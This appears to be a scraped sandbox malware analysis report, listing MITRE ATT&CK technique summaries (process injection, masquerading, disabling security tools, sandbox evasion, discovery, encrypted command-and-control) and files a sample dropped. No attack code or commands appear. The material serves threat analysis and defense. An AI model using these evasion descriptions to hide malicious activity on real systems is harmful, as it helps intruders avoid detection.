Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used.For example, information about application windows could be used identify potential data to collect as well as identifying security tooling ( Security Software Discovery ) to evade.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

AI Reasoning

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0cpquur0.r5r.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_230rjni1.eih.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lumgk3i.3mp.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_52vmgvhi.fv3.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ajn4fxo3.c5k.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bzplew4r.ntg.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_chfxxijg.cdy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_codlz1qj.o0m.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gjrvdq4u.ooo.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gpflaurx.lmm.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0oupswy.mlt.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hov5lo0a.gkw.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ip0zvyun.aq0.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lwwd1vwj.fs2.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_myn0voxd.5eb.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_prl24suv.ztn.ps1